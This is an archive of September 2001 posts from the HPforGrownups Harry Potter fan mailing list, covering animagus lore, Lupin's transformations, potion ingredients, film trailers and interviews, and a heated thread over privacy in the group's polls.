Subject: Peter Pettigrew's brain as Scabbers
In-Reply-To: <9ofp2q+ptl7@eGroups.com>
Message-ID: <9og62o+pk12@eGroups.com>

No: HPFGUIDX 26431

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> 
> But then, how does Rita Skeeter remember the things she witnesses 
> while she is in her beetle state and has no quick quotes quill?  
And 
> if Krum performs a partial animagus transformation in the second 
> task, and his head is a shark head, how does he have enough human 
> brainpower left in him to know that Hermione is not brunch?
> 

I don't know about Rita Skeeter, but I'm not sure that Krum's partial 
transformation was truly an animagus spell or not.  I've seen 
something similar to this come up elsewhere.  The best answer I saw 
was that a true animagi can change without a spell, but Krum's change 
required a spell.  So he wasn't truly part shark.

Thinking about it, a short stint as an animal won't necessarily make 
you forget your goals.  It's just that after a certain amount of 
time, your animal brain won't have the capacity of your human brain.

Witness Peter, when he was a student, not running in fear as a rat 
when he is next to a huge dog, a large stag, and a werewolf.




From borg3892000 at yahoo.com  Fri Sep 21 20:03:49 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Fri, 21 Sep 2001 20:03:49 -0000
Subject: Opinion on 10 big mysteries
In-Reply-To: <20010921.135911.-364279.48.mindyatime@juno.com>
Message-ID: <9og6f5+i9av@eGroups.com>

No: HPFGUIDX 26432

--- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> y no m wrote on Wednesday in regards to Lupin sleeping on the train:
> 
> "Also, curious fact, on September 1, 1993 (real date), there was a 
> full moon. ^^ Maybe moons move differently in the Wizarding world."
> 
> That's probably why he was sleeping... Doesn't the Wolfsbane potion 
make
> him harmless and asleep? Aw, but then he looks like a wolf? I 
dunno. I'm
> confused too.
> 

He didn't turn into a werewolf until moonlight actually fell on him 
when they came out from the secret passage.  I don't think the moon 
had *just* risen.  I would have thought that he would have turned 
into a wolf earlier that night.  The moon might not have been out 
when HP and gang first went into the passage, but I'm pretty sure it 
was night.  He should have changed while they were all in the shack.




From keegan at mcn.org  Fri Sep 21 20:13:21 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Fri, 21 Sep 2001 13:13:21 -0700
Subject: [HPforGrownups] Work after Hogwarts?
In-Reply-To: <20010921174732.19814.qmail@web20801.mail.yahoo.com>
References: <4.2.0.58.20010921085021.00abe4a0@mail.mcn.org>
Message-ID: <4.2.0.58.20010921130934.00a853f0@mail.mcn.org>

No: HPFGUIDX 26433

At 10:47 AM 9/21/01 -0700, you wrote:
>--- Catherine Keegan <keegan at mcn.org> wrote:
> >  but I can't help but wonder> if there are Wizard  > colleges.  It 
> seems like some of the jobs would> require a lot more > education and training.
>
>     According to the Lexicon page JKR has said there
>are no Wizard Colleges yet there are obviously levels
>of Wizardry beyond what is taught at Hogwarts so how
>does one get advanced training in Alchemy, Defense
>Against The Dark Arts, or whatever?

Is there a pointer to the interview?  I've caught a few of the JKR talks 
here and there, mostly on Scholastic's very cute web site, but I've missed 
most of them.  Is there a collection of them some place?  I'd like to see 
what I've missed.

>My guess is by becoming the student/assistant to a Master Wizard in the 
>desired field, (up to the 19th
>century it was possible to study law and medicine with practicioner rather 
>than at a college).

So, it sounds like there's an apprentice system working.  Quite reasonable 
since so many things seem stuck in the 19th to early 20th century - the 
Hogwarts Express springs to mind.

Thanks for the insight.

Catherine in California
Albion Works
Furniture, Clothing, and Accesories
For the Medievalist!
www.albionworks.net



From lotusmoondragon at aol.com  Fri Sep 21 20:21:16 2001
From: lotusmoondragon at aol.com (lotusmoondragon at aol.com)
Date: Fri, 21 Sep 2001 16:21:16 EDT
Subject: [HPforGrownups] Re: ADMIN: Privacy issues
Message-ID: <16a.1419b04.28dcfb3c@aol.com>

No: HPFGUIDX 26434

In a message dated 9/21/2001 3:47:02 PM Eastern Daylight Time, 
borg3892000 at yahoo.com writes:


> This is just ducky.
> 
> So any response we have made to these polls is now freely available 
> to Yahoo for any purpose they want.
> 
> I can't find anything in the polls help that describes how to unvote. 
> Deleting my user account might do it though.

Normally, I'm pretty quite about this, but I just have to ask - What the hell 
are you all afraid of??

I for one I am neither ashamed of my religion (Wicca), my sexuality 
(bi-sexual) nor my political inclination (moderate tending left). And of what 
use is to Yahoo anyway? Even if they do have the information, how the hell 
would they use it?

Lighten up, folks. And stop getting all bitchy with the moderators. They do a 
great job.

Love,
Lotus


[Non-text portions of this message have been removed]




From UcfRentLuvr at cs.com  Fri Sep 21 20:28:56 2001
From: UcfRentLuvr at cs.com (UcfRentLuvr at cs.com)
Date: Fri, 21 Sep 2001 16:28:56 -0400
Subject: Third Trailer!
Message-ID: <01D47EA2.585EE0E4.52A758FC@cs.com>

No: HPFGUIDX 26435

Kristen said:
Thanks! I checked it out. ACtually the bit on the Taliban was rather looooong, but it was definitely some cool stuff in the ad we hadn't seen.n A glimpse of Quidditch and Norbert as a baby dragon (I think). Hopefully this is a new ad we'll see on television soon as they start advertising for the movie.>>

Yeah, the Taliban piece was a little long, but wow! another great trailer. The part with Harry and his wand is, I believe, when he is trying out the wands at Ollivander's. You can so tell the troll is digitized but I thought it looked really cool going after Hermione lol. The trailer also showed Norbert--also digitized--and it blows some fire and Hagrid has to pick it up wearing over mitts hehe. That was cute. It showed the Petrificus Totalus again and also the Remembrall Scene. It showed Quidditch!! Looked a teensy bit hokey, but they only played like 2 seconds of it so I bet it will look great in the movie. I can't wait until they start showing the ads for it on tv!! 8)

***Dixie Malfoy***




From blpurdom at yahoo.com  Fri Sep 21 20:53:54 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 21 Sep 2001 20:53:54 -0000
Subject: Opinion on 10 big mysteries
In-Reply-To: <9og6f5+i9av@eGroups.com>
Message-ID: <9og9d2+pbsi@eGroups.com>

No: HPFGUIDX 26436

--- In HPforGrownups at y..., borg3892000 at y... wrote:
> --- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> > y no m wrote on Wednesday in regards to Lupin sleeping on the 
train:
> > 
> > "Also, curious fact, on September 1, 1993 (real date), there was 
a full moon. ^^ Maybe moons move differently in the Wizarding world."
> > 
> > That's probably why he was sleeping... Doesn't the Wolfsbane 
> > potion make him harmless and asleep? Aw, but then he looks like a 
> > wolf? I dunno. I'm confused too.
> > 
> He didn't turn into a werewolf until moonlight actually fell on him 
> when they came out from the secret passage.  I don't think the moon 
> had *just* risen.  I would have thought that he would have turned 
> into a wolf earlier that night.  The moon might not have been out 
> when HP and gang first went into the passage, but I'm pretty sure 
> it was night.  He should have changed while they were all in the 
> shack.

September 1 was when they were going to Hogwarts on the train, which 
leaves King's Cross at 11 am.  The moon may or may not have been up 
at that time--one does frequently see the moon in the sky during the 
day.  Is anyone so thoroughly up on werewolf lore that you know 
whether a werewolf supposedly transforms when the sun AND the moon 
are up at the same time?  Or is it JUST when the moon is up, with no 
sun?  Sometimes moonrise and moonset are during daylight hours 
entirely.  

The questions to ask about September 1, 1993 are:

1) When is moonrise, and is the sun still up?
2) When is moonset, and is the sun still up?  (And does it matter?)
3) And, for those whose PoA books are at hand (instead of off being 
read by a 7-year-old and an 8-year-old), was Lupin at the welcoming 
feast that evening, or did he mysteriously disappear?

--Barb







From mindyatime at juno.com  Fri Sep 21 21:45:07 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Fri, 21 Sep 2001 17:45:07 -0400
Subject: If only I could work for the MOM...
Message-ID: <20010921.174521.-364279.64.mindyatime@juno.com>

No: HPFGUIDX 26437

I am pondering what my job would be like if I'd be in the Potter
Universe.

I work for a newspaper. 

Can you imagine.... no 7-line phone ringing day and night? No computers
banging and bleeping? No Internet access to retrieve the news? No fax
machine for advertisements to come in?

How would I work? With howlers? With owl post? Having reporters apparate
to the scenes of interest? Writing with quills? 

Hmmm.... life would be verrry different indeed.

Just some random ramblings....
________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.



From avatar7 at uole.com.ve  Fri Sep 21 21:47:20 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Fri, 21 Sep 2001 17:47:20 -0400
Subject: [HPforGrownups] Potions, Yuck?
In-Reply-To: <20010920.225050.-364279.19.mindyatime@juno.com>
References: <20010920.225050.-364279.19.mindyatime@juno.com>
Message-ID: <01092117472002.20708@sysop>

No: HPFGUIDX 26438

Hello, Merry meet, Greetings, whatever comes to mind. :)

Well, as far as I am concerned, most of them micked names are in fact names 
of plants, as I have been told by a friend of mine which actually practices 
wizardry (Some of Wicca and the alike). He told me most of them plants had 
been either re-baptized or had their names either from their shapes (For what 
do they look alike) or for ancient wizards to confuse people so they would 
not "ban" on the plants them used for their things...

My humble two Galleons.



On Date Thursday 20 September 2001 10:41, You Wrote:
> I am quite repulsed by the list of ingredients that go into the various
> potions Snape brews with his students. Are these things actually DRUNK by
> the students or are they applied topically to surfaces of whatever needs
> to be affected? Can you imagine downing something containing dragon
> liver, bat spleen, rat brain, crocodile heart, leech juice, boomslang
> skin, powdered beetles, and mashed caterpillars??? EEEE YEWWWW!!!
> ________________________________________________________________
> GET INTERNET ACCESS FROM JUNO!
> Juno offers FREE or PREMIUM Internet access for less!
> Join Juno today!  For your FREE software, visit:
> http://dl.www.juno.com/get/tagj.
>
------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone
-- 
------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From allisondek at yahoo.com  Fri Sep 21 21:58:24 2001
From: allisondek at yahoo.com (allisondek at yahoo.com)
Date: Fri, 21 Sep 2001 21:58:24 -0000
Subject: Snape's tragic secret;; also, sleeping dragons
Message-ID: <9ogd60+jhrv@eGroups.com>

No: HPFGUIDX 26439

Well, he has to have one, doesn't he?  To explain his conversion from 
Death Eater to Dumbldore's confidant?

May I suggest...

That he is a widower; his beloved wife was killed by HWMNBN'd or his 
henchmen, or that he is still married, but his beloved wife now 
languishes in St. Mungo's hospital, unable to recognize him, just as 
the Longbottoms are unable to recognize Neville.

I confess, I read an interview with the producer of the HP movie, who 
said that there was something he wanted to do in the movie, but JKR 
said he couldn't do it, for reasons that would become clear in a 
later book.

------

Following the recent tragedy, there were several references in the 
press to a remark reputedly made by Admiral Yamamoto following Pearl 
Harbor:  that he feared he had awakened and enraged a sleeping 
giant.  I couldn't help being reminded of Hogwart's motto:  Draco 
Dormiens Nunquam Titillandus, "Never tickle a sleeping dragon", and 
the early American revolutionary battle flag, with the words "don't 
tread on me" and an image of a rattlesnake.




From michaeldragone at yahoo.com  Fri Sep 21 22:11:26 2001
From: michaeldragone at yahoo.com (Michael Dragone)
Date: Fri, 21 Sep 2001 18:11:26 -0400
Subject: [HPforGrownups] If only I could work for the MOM...
References: <20010921.174521.-364279.64.mindyatime@juno.com>
Message-ID: <001901c142ea$5b9ed180$0300a8c0@ariel>

No: HPFGUIDX 26440

Sounds like a little slice of heaven - and a huge chunk of quiet.  At the very least, we know there are actual newspapers in the Potter Universe; you could start an alternative to the Daily Prophet.

I work in Information Technology, so I imagine that in the Potter Universe I'd work over in the Department of Mysteries at the MOM.  Most of the time we can't figure out what's going on with our technology equipment so it seems fitting that I'd work in a department where no one can figure out what we're up to. :)


[Non-text portions of this message have been removed]




From editor at texas.net  Fri Sep 21 22:12:11 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 21 Sep 2001 17:12:11 -0500
Subject: Handy Real-Life Example and some on Potions, Yuck
References: <20010921.143154.-364279.54.mindyatime@juno.com>
Message-ID: <3BABBB3B.A3FE5C71@texas.net>

No: HPFGUIDX 26441

"Mindy C.L." wrote:

> Milz:
>
> Actually it's against jewish law to ingest any bugs, dead or alive. So
> every time I eat lettuce, cabbage, and other veggies that come from
> underground I have to painstakingly check it for bugs.
>
> Additionally, aside from the critters factor, those potions must taste
> horrible, for no flavors are added.

I might point out, at the risk of beating the vaguely horse-shaped
grease spot over there, that this is a *prime* example of a thread that
started as HP specific and is now drifting. If it were to continue (and
I am in no way suggesting it not, it's fascinating, I didn't know about
that Jewish law thing and my best cradle-Catholic friend is now married
to a Jew and such things are useful), eventually probably someone would
change the addressee to the Chatter list, and mention on the main list
that he/she had taken it over there, and that would be pretty much that.

Just sort of a useful example.

And *just* to keep it on-topic, how do you know that the potions
ingredients taste awful? Other than the Effective Medicine Must Taste
Revolting metalaw? I mean, I understand that roasted caterpillars are
succulent, my own (god help me) father once brought us chocolate covered
ants and bees which were (according to braver souls than I) quite tasty,
and if I did not know it was a bona fide dish, if the books mentioned
birds' nest soup I'd think they'd made it up. The potions might taste
just great. They just *sound* revolting.

--Amanda


[Non-text portions of this message have been removed]




From coriolan at worldnet.att.net  Fri Sep 21 22:18:00 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Fri, 21 Sep 2001 22:18:00 -0000
Subject: Peter Pettigrew's brain as Scabbers
In-Reply-To: <9ofk6c+iaro@eGroups.com>
Message-ID: <9ogeao+oh5p@eGroups.com>

No: HPFGUIDX 26442

--- In HPforGrownups at y..., "Maribel " <maribelpotter at h...> wrote:
> Hello to everybody,
> 
> I was reading "Quidditch through the ages" and I have this 
question, 
> hope you have some thougths about the possible answer.
> 
> According to it, a wizard's brain who become animagi become the 
size 
> of the animal in which he transforms, also says if it is a small 
> animal the brain will be small as well, and soon they're going to 
> forget things.

Let me begin my quoting the relevant section: "No spell yet devised 
enables wizards to fly unaided in human form. Those few Animagi who 
transform into winged creatures may enjoy flight, but they are a 
rarity. The witch or wizard who finds him- or herself transfigured 
into a bat make take to the air, but, having a bat's brain, they are 
sure to forget where they want to go the moment they take flight."

I made a similar error earlier - it was pointed out to me that Mr. 
Whisp is differentiating between two different groups - Animagi, who 
can transform at will into animals, and those "find [themselves]
transfigured," like Draco when he found himself turned to a ferret. 
The former group would retain their cognitive abilities (so Rita 
Skeeter could remember all that she said and heard as a beetle), 
while the latter would not (so Draco would have at best a cloudy 
recollection of his time as a ferret)

   - CMC




From saitaina at wizzards.net  Fri Sep 21 22:35:59 2001
From: saitaina at wizzards.net (Saitaina)
Date: Fri, 21 Sep 2001 15:35:59 -0700
Subject: [HPforGrownups] Re: ADMIN: Privacy issues
References: <16a.1419b04.28dcfb3c@aol.com>
Message-ID: <008001c142ed$cc4f0e60$534e28d1@oemcomputer>

No: HPFGUIDX 26443

You know what people, this is utterly rediculas.  It's a waste of space and time to read all you you freaking out over a POLL.  Polls are taken every day of your life and are you going to stand around for half an hour wanting to know every thing about it...no!  You give your awnser and move on.  Yahoo is not using our information for sinister purposes (although at times I wouldnt' put it past them) and neither are the group moderators.

I'm sorry but a lot of you need to grow up and get on with your lives instead of worring about whose gonna know you voted Extream Right when your friend votes Left.

I really don't see how any of this information is damaging, everyone already knows I'm a bi-sexual, wiccan who has way too much free time over here in Oregon and supported Gore till her last breath (hence me being Extreame Left).  I dont' see anyone bursting down my apartment door and arresting me.

We are a diverse group, and sometimes it's fun to see that diversity.  I'm sorry if your too stuck in your little private holes to enjoy that but some of us don't care where this information goes and just get annoyed with others who fill up the lists asking inane questions.

Let me explain it to you in simple terms.  We log on.  We get a cookie that tracks us (well, most of us, some of us are weird enough to turn off the cookie).  We then to go HPforGrownups and click on polls.  We then awnser the polls.  The cookie is activated to record our awnsers.  Our awnser are then sent to the server who updates the tally.  In a blind poll only our awnsers go, and in a non-blind our email goes with the awnser.  Now say we think about it and we're more homo then bi for instance.  Then we log back on and go change our awnser.  Now the cookie knows we already awnsered so it tells ther server this is a changed awnser and they remove a previous vote for bi and add one for homo.  This information is not collected save for on the server that holds the polls.  The CIA, RCMP, Scotland Yard, nor Interpool is lying in wait for our awnsers.  They are not published nor brodcast on late night radio.  No one besides us...cares.

Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction
  ----- Original Message ----- 
  From: lotusmoondragon at aol.com 
  To: HPforGrownups at yahoogroups.com 
  Sent: Friday, September 21, 2001 1:21 PM
  Subject: Re: [HPforGrownups] Re: ADMIN: Privacy issues


  In a message dated 9/21/2001 3:47:02 PM Eastern Daylight Time, 
  borg3892000 at yahoo.com writes:


  > This is just ducky.
  > 
  > So any response we have made to these polls is now freely available 
  > to Yahoo for any purpose they want.
  > 
  > I can't find anything in the polls help that describes how to unvote. 
  > Deleting my user account might do it though.

  Normally, I'm pretty quite about this, but I just have to ask - What the hell 
  are you all afraid of??

  I for one I am neither ashamed of my religion (Wicca), my sexuality 
  (bi-sexual) nor my political inclination (moderate tending left). And of what 
  use is to Yahoo anyway? Even if they do have the information, how the hell 
  would they use it?

  Lighten up, folks. And stop getting all bitchy with the moderators. They do a 
  great job.

  Love,
  Lotus


  [Non-text portions of this message have been removed]


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  ____________________________________________________________

  "I say to you all, once again--in the light of Lord Voldemort's return, we are only as strong as we are united, as weak as we are divided. 
  "Lord Voldemort's gift for spreading discord and enmity is very great.  We can fight it only by showing an equally strong bond of friendship and trust.  Differences of habit and language are nothing at all if our aims are identical and our hearts are open."

  You *can* help. Visit www.redcross.org for details.

  Questions, list-based or otherwise? contact your personal List Elf or the Moderator Team at MagicalMods at yahoogroups.com.

  Unsubscribing? Email hpforgrownups-unsubscribe at yahoogroups.com
  ____________________________________________________________


  Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. 



[Non-text portions of this message have been removed]




From editor at texas.net  Fri Sep 21 22:40:03 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 21 Sep 2001 17:40:03 -0500
Subject: [HPforGrownups] Re: ADMIN: Privacy issues
References: <16a.1419b04.28dcfb3c@aol.com> <008001c142ed$cc4f0e60$534e28d1@oemcomputer>
Message-ID: <3BABC1C3.9C1AF629@texas.net>

No: HPFGUIDX 26444

Saitaina wrote:

> I'm sorry but a lot of you need to grow up and get on with your lives
> instead of worring about whose gonna know you voted Extream Right when
> your friend votes Left.

Left? My friends vote Left? My god, I had no idea, I'm so shattered...

> I really don't see how any of this information is damaging, everyone
> already knows I'm a bi-sexual, wiccan who has way too much free time
> over here in Oregon and supported Gore till her last breath (hence me
> being Extreame Left).  I dont' see anyone bursting down my apartment
> door and arresting me.

See, I didn't know you were Extreme Left. This will be remedied. I'll
send the Left-Control Security Squad directly, excuse me while I go hack
into Yahoo's records and find out where you live, your hair color, and
your shoe size.

> We are a diverse group, and sometimes it's fun to see that diversity.
> I'm sorry if your too stuck in your little private holes to enjoy that
> but some of us don't care where this information goes and just get
> annoyed with others who fill up the lists asking inane questions.

Well, not to play devil's advocate or anything, but the polls themselves
sort of fall into the category of inane questions, too....it's just that
the polls were *lighthearted* inane questions.

> Let me explain it to you in simple terms.  We log on.  We get a cookie
> that tracks us (well, most of us, some of us are weird enough to turn
> off the cookie).

I hate that they called them cookies, it always makes me hungry. Darnit.

> We then to go HPforGrownups and click on polls.  We then awnser the
> polls.  The cookie is activated to record our awnsers.  Our awnser are
> then sent to the server who updates the tally.  In a blind poll only
> our awnsers go, and in a non-blind our email goes with the awnser.
> Now say we think about it and we're more homo then bi for instance.
> Then we log back on and go change our awnser.  Now the cookie knows we
> already awnsered so it tells ther server this is a changed awnser and
> they remove a previous vote for bi and add one for homo.  This
> information is not collected save for on the server that holds the
> polls.  The CIA, RCMP, Scotland Yard, nor Interpool is lying in wait
> for our awnsers.  They are not published nor brodcast on late night
> radio.

How much late-night radio have you *listened* to lately?

>  No one besides us...cares.

Nobody cares? Really? I'm so depressed. Surely somebody thinks I'm
important? What a bummer.

--Amanda, also carried away by the scope and vehemence of the
protestations


[Non-text portions of this message have been removed]




From pennylin at swbell.net  Fri Sep 21 22:47:27 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Fri, 21 Sep 2001 17:47:27 -0500
Subject: MOVIE: Thing Kloves wanted to do but JKR stopped
References: <9ogd60+jhrv@eGroups.com>
Message-ID: <3BABC37F.2060505@swbell.net>

No: HPFGUIDX 26445

Hi --

I know ... I know.  Me commenting on a MOVIE post.  Stranger things have 
happened.

allisondek at yahoo.com wrote:

> 
> I confess, I read an interview with the producer of the HP movie, who
> said that there was something he wanted to do in the movie, but JKR
> said he couldn't do it, for reasons that would become clear in a
> later book.

Actually, this is from an interview with Kloves on ain't it cool news:

http://www.aint-it-cool-news.com/display.cgi?id=8111

I've always wondered what it is that he senses that's "going on." 
::cough:::FITD:::cough

It's a great interview, btw.  I highly recommend it to your reading.

Penny
(who can't believe she's posting something about the MOVIE *and* linking 
to an interview with the screenplay writer)




From cynthiaanncoe at home.com  Fri Sep 21 22:55:44 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 21 Sep 2001 22:55:44 -0000
Subject: ADMIN: Privacy issues
In-Reply-To: <3BABC1C3.9C1AF629@texas.net>
Message-ID: <9ogghg+gm7h@eGroups.com>

No: HPFGUIDX 26446

--- In HPforGrownups at y..., Amanda Lewanski <editor at t...> wrote:

> 
> --Amanda, also carried away by the scope and vehemence of the
> protestations
> 

Aw, well, this surely has gotten out of hand, no?  Laura says the OoP 
derby brought in 20 responses, but I count over 40 responses that 
amount to hand-to-hand combat over the "diversity" polling.  Go 
figure.  :)  Perhaps we'll all take a deep breath over the weekend 
and get back on topic.

Cindy (letting you all drive yourselves mad wondering whether she's a 
gay conservative atheist, 'cause she ain't sayin')




From allisondek at yahoo.com  Fri Sep 21 23:33:45 2001
From: allisondek at yahoo.com (allisondek at yahoo.com)
Date: Fri, 21 Sep 2001 23:33:45 -0000
Subject: MOVIE: Thing Kloves wanted to do but JKR stopped
In-Reply-To: <3BABC37F.2060505@swbell.net>
Message-ID: <9ogiop+fghb@eGroups.com>

No: HPFGUIDX 26447

Oh dear, I had no idea my post would be considered a MOVIE post, 
since I was commenting on future book plots.  I consider any clue 
worth exploring, especially after an occasion is seventh grade when I 
erased a correct answer from a test because I deduced it from another 
question on the same test. . . it had to do with cashews as a major 
crop of India, and I can still remember Mrs. Hogan's reaction when I 
explained the erasure to her.

It's also possible, of course, that it is Professor Dumbledore whose 
wife languishes in St. Mungo's, or perhaps Snape married Dumbledore's 
ward, his neice, who is now languishing in St. Mungo's. . .

 --- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> I know ... I know.  Me commenting on a MOVIE post.  
> 
> allisondek at y... wrote:
> > I confess, I read an interview with the producer of the HP movie, 
who
> > said that there was something he wanted to do in the movie, but 
JKR
> > said he couldn't do it, for reasons that would become clear in a
> > later book.





From devika261 at aol.com  Sat Sep 22 00:04:18 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Fri, 21 Sep 2001 20:04:18 EDT
Subject: [HPforGrownups] MOVIE: Thing Kloves wanted to do but JKR stopped
Message-ID: <70.10575fe0.28dd2f82@aol.com>

No: HPFGUIDX 26448

I read the interview, and yes, it was very good.  But it made me wonder...does this mean that the movie will give us a clue (or clues) about upcoming books?  I can't wait!  Only 8 weeks to go!!

Devika :)



In a message dated Fri, 21 Sep 2001  6:50:13 PM Eastern Daylight Time, Penny & Bryce <pennylin at swbell.net> writes:

> Hi --
> 
> I know ... I know.  Me commenting on a MOVIE post.  Stranger things have 
> happened.
> 
> allisondek at yahoo.com wrote:
> 
> > 
> > I confess, I read an interview with the producer of the HP movie, who
> > said that there was something he wanted to do in the movie, but JKR
> > said he couldn't do it, for reasons that would become clear in a
> > later book.
> 
> Actually, this is from an interview with Kloves on ain't it cool news:
> 
> http://www.aint-it-cool-news.com/display.cgi?id=8111
> 
> I've always wondered what it is that he senses that's "going on." 
> ::cough:::FITD:::cough
> 
> It's a great interview, btw.  I highly recommend it to your reading.
> 
> Penny
> (who can't believe she's posting something about the MOVIE *and* linking 
> to an interview with the screenplay writer)
> 
> 
> 
> ____________________________________________________________
> 
> "I say to you all, once again--in the light of Lord Voldemort's return, we are only as strong as we are united, as weak as we are divided. 
> "Lord Voldemort's gift for spreading discord and enmity is very great.  We can fight it only by showing an equally strong bond of friendship and trust.  Differences of habit and language are nothing at all if our aims are identical and our hearts are open."
> 
> You *can* help. Visit www.redcross.org for details.
> 
> Questions, list-based or otherwise? contact your personal List Elf or the Moderator Team at MagicalMods at yahoogroups.com.
> 
> Unsubscribing? Email hpforgrownups-unsubscribe at yahoogroups.com
> ____________________________________________________________
>  
> 
> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ 





From HPforGrownups at yahoogroups.com  Sat Sep 22 00:27:23 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 22 Sep 2001 00:27:23 -0000
Subject: New file uploaded to HPforGrownups 
Message-ID: <1001118443.97715.87593.f1@yahoogroups.com>

No: HPFGUIDX 26449


Hello,

This email message is a notification to let you know that
a file has been uploaded to the Files area of the HPforGrownups 
group.

  File        : /Group Members/P1010011.JPG 
  Uploaded by : michelleapostolides at lineone.net 
  Description : Me at my friend's wedding. I'm the one in purple on the left ! 

You can access this file at the URL

http://groups.yahoo.com/group/HPforGrownups/files/Group%20Members/P1010011.JPG 

To learn more about file sharing for your group, please visit

http://help.yahoo.com/help/us/groups/files

Regards,

michelleapostolides at lineone.net
 







From meboriqua at aol.com  Sat Sep 22 01:15:59 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 22 Sep 2001 01:15:59 -0000
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
In-Reply-To: <154.14fd675.28dc1167@aol.com>
Message-ID: <9ogoof+cou5@eGroups.com>

No: HPFGUIDX 26450

--- In HPforGrownups at y..., lotusmoondragon at a... wrote:
 
> I can only speak for me, but I didn't join the chatter list because 
I was  under the impression (and pardon me if I'm wrong) that it was 
mostly a  discussion about fan fic, which I am not interested in at 
all.>

Hey Lotus -

I am not a fan of fanfic at all and the OT never discusses it (unless 
someone is posting info on their latest chapter or something).  I 
joined OT because I really liked the people posting here and could 
just see their personalities - I wanted to chat more with people and 
find out more about them.  I haven't been disappointed.  We have 
discussed (among our disgusting sandwich confessions and HP-themed 
birthday parties) racism, sexism, the Trade Center attack, our 
astrological signs and horror travel stories, to name a few.  It's a 
nice break, sometimes, when this site is a bit slow or if there's no 
thread I feel like discussing (like the Marauder's Map - I just can't 
do it!).  

--jenny from ravenclaw, who really would rather talk about Harry but 
alas, everyone else seems to want to talk about Snape 
**********************************************************




From caliburncy at yahoo.com  Sat Sep 22 01:19:27 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 22 Sep 2001 01:19:27 -0000
Subject: MOVIE: Thing Kloves wanted to do but JKR stopped
In-Reply-To: <3BABC37F.2060505@swbell.net>
Message-ID: <9ogouv+h9g1@eGroups.com>

No: HPFGUIDX 26451

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> I've always wondered what it is that he senses that's "going on." 
> ::cough:::FITD:::cough

Yeah, I remember this interview.  Had to re-read it to refresh my 
memory though, so thanks for the link so I didn't have to go 
searching.  If it is somehow related to FITD though, then how come he 
says it had to do with references to a particular character (almost as 
if that character does not otherwise appear in Book 1, maybe)?  I'm 
asking this for real; I honestly have *no* idea what it's about.  It 
might very well be FITD, which I admit has some very conceivable 
future book possibilities.

I wondered before (and I guess I still do) if the script edit was 
related to this rumor that supposedly they did filming at a place to 
pose as Godric's Hollow, which implies to me that they might show 
a little of Voldemort's attack there, which I'm sure could have 
*major* future book implications (enough that I might not recommend 
them doing this, but I suppose if it was run by JKR then it must be 
fine as it stands).  I kept expecting that rumor to eventually be 
debunked, but it never was (unless I missed it) so I'm still 
interested to see how it turns out.  The statement that Kloves said 
his idea conflicted with Book 5 seems strange in that case though, 
because I don't expect the full events of that evening to really make 
sense until Book 7.  Not that I know.  I (sadly) have no access to the 
deep, dark secrets of JKR's plans.

So I also wondered if maybe it had something to do with Mrs. 
(Arabella) Figg.  After all it has to be someone who is relevant to 
Book 1 and Book 5, that we apparently don't know something about.  And 
Mrs. Figg seems to fit that bill.

Or am I misinterpreting the "reference to a character" statement 
altogether?

-Luke




From neilward at dircon.co.uk  Sat Sep 22 03:34:14 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 22 Sep 2001 04:34:14 +0100
Subject: ADMIN: HPfGU movie poll - reminder/reference notes
Message-ID: <010601c14317$8fbfb920$d23470c2@c5s910j>

No: HPFGUIDX 26452

Dear list members,

HPFGU MOVIE POLL

We're still interested in hearing your preferences on where we should
discuss the Harry Potter movies.  A poll has been running for a couple of
months now, but we thought it was worth going through some of the pros and
cons.  Several of you sent us messages explaining the thinking behind your
votes, so we've incorporated some of those hopes and fears below.

The poll is here:
http://groups.yahoo.com/group/HPforGrownups/surveys?id=729738
(you may need to reconstruct the link)


GENERAL NOTES

*It's an advisory poll, which means the outcome will inform the decision.
*The poll will be closed on Friday 19th October, midnight UK time.
*You can change your vote until the poll is closed.
*Others can't see your vote or sell it to the highest bidder.
